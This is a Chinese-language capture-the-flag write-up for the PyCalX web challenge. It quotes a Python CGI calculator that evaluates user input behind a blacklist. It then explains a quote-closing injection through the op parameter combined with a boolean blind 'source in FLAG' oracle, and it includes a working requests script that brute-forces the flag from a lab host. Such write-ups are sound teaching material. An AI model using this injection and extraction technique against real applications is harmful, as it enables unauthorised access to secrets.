PyCalX 1&2

Posted on 2020-04-21,2 min read

给出了源码。分析下
这里就写关键源码了

FLAG = open('/var/www/flag','r').read()
source = arguments['source'].value
def get_value(val):
    val = str(val)[:64]
    if str(val).isdigit(): return int(val)
    blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
    if val == '' or [c for c in blacklist if c in val] != []:
        print('<center>Invalid value</center>')
        sys.exit(0)
    return val
def get_op(val):
    val = str(val)[:2]
    list_ops = ['+','-','/','*','=','!']
    if val == '' or val[0] not in list_ops:
        print('<center>Invalid op</center>')
        sys.exit(0)
    return val
op = get_op(arguments['op'].value)
value1 = get_value(arguments['value1'].value)
value2 = get_value(arguments['value2'].value)
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

可以看到。就是个计算器。
value1+op+value2
value1和2不能出现"()[]\'
op的第一个字符只能是+-/*=!
大致执行如下

'1'         +      '1'
value1  op  vlaue2

由于op只判断第一个值。我们可以插入单引号。并且注释后面的单引号

'1'                   +'      ' and source in flag#
value1'            op       value2

可以看到。我们op输入+'。成功闭合语句。然后在value2的地方构造语句。并注释
这里限定了返回值。只能是True或False。那么我们可以用in。来构造波尔盲注
而source是全局变量。并且我们可控。可以用来比较

写个脚本

import requests
url="http://c41ca0d9-9a2b-40b3-be0a-8aea3ecd98e6.node3.buuoj.cn/cgi-bin/pycalx.py?value1=f&op=%2b'&value2=+and+True+and+source+in+FLAG%23&source="
s='abcdefghijkmnlopqrstuvwxyz0123456789-}'
flag='fl'
for a in range(50):
    for i in s:
        r=requests.get(url=url+flag+i).text
        print(url+flag+i)
        if 'False'  not in r:
            print(flag)
            flag+=i
            break

下一篇: NPUCTF web WP→